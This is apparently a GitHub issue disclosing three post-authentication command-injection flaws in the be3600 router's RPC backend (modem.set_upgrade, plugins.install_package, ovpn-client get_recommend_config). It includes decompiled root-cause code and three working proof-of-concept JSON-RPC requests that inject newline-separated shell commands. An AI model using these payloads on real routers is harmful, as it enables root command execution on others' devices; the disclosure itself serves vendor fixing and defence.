Skip to content

be3600v4.8.3 Command Execution Vulnerability after Authentication #2

@waiwai24

Description

@waiwai24

vul1

  • The RPC interface modem.set_upgrade in the be3600 router's web management backend only escapes the modem_url parameter with a single quote when constructing shell commands, while the remaining six parameters (firmware_upload, target_version, current_version, hash_type, hash_value, upgrade_type) are not subjected to any security processing and are directly concatenated into the command template using snprintf, ultimately passed to fork_exec().
  • root cause:Decompiled code of the function set_upgrade@0xd560 in usr/lib/oui-httpd/rpc/modem.so
snprintf(
  &s__1,
  0x200u,
  "/usr/bin/modem_upgrade_check %s '%s' %s %s %s %s",
  firmware_upload,
  escaped_modem_url,
  target_version,
  hash_type,
  hash_value,
  upgrade_type);

fork_exec(&s__1);

vul2

  • The RPC interface plugins.install_package directly concatenates the user-provided plugin name into a shell command template when calling opkg to install a plugin. Although the command template wraps the plugin name with single quotes, the code does not escape single quotes or other shell special characters within the plugin name.
  • root cause:usr/lib/oui-httpd/rpc/plugins.so install_package@0x4674
for ( int i = 0; i < name_list_len; i++ ) {
  snprintf(
    s_4, 0x12Cu,
    "%s install '%s' >> /tmp/opkg.stdout 2>>/tmp/opkg.stderr;sync",
    *off_1FF50, dest);
  system(s_4);
}

vul3

  • The get_recommend_config method of the ovpn-client.so RPC module processes the hostname string in the servers parameter:
  1. It is filtered only by str_check_shell_injecting (without blocking \n newline characters and # hash symbols)
  2. The hostname is concatenated into the download_recommend_config function
  3. The function embeds user data into four unquoted %s positions to construct a shell command
  4. Finally, it executes the command with root privileges via fork_exec()execlp("/bin/sh", "sh", "-c", cmd, 0)

poc

Attackers can bypass validation by injecting newlines \n into JSON, allowing arbitrary commands to be inserted into the shell, as the RPC parameter validation layer (Lua default string validation) permits whitespace characters including newlines.

poc1:

POST /rpc HTTP/1.1
Host: 192.168.8.1
Content-Type: application/json
Cookie: Admin-Token=<sid>
Content-Length: 443

{
  "jsonrpc": "2.0",
  "id": 30,
  "method": "call",
  "params": [
    "<sid>",
    "modem",
    "set_upgrade",
    {
      "modem_url": "https://example.com/fw.bin",
      "target_version": "1.0.0",
      "current_version": "0.9.0",
      "firmware_upload": "/tmp/fw.bin",
      "hash_type": "sha256",
      "hash_value": "deadbeef",
      "upgrade_type": "delta_ota\ntouch /root/poc1\n#"
    }
  ]
}

Image

poc2:

POST /rpc HTTP/1.1
Host: 192.168.8.1
Content-Type: application/json
Cookie: Admin-Token=<sid>
Content-Length: 214

{
  "jsonrpc": "2.0",
  "id": 23,
  "method": "call",
  "params": [
    "<sid>",
    "plugins",
    "install_package",
    { "name": ["abc\ntouch /root/poc2\n#"] }
  ]
}
Image

poc3:

POST /rpc HTTP/1.1
Host: 192.168.8.1
Content-Type: application/json
Cookie: Admin-Token=<valid_sid>

{
  "jsonrpc": "2.0",
  "id": 10,
  "method": "call",
  "params": [
    "<sid>",
    "ovpn-client",
    "get_recommend_config",
    {
      "group_id": 1,
      "proto": 1,
      "servers": [
        {
          "hostname": ["a\ntouch /root/poc3\n#"]
        }
      ]
    }
  ]
}

Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions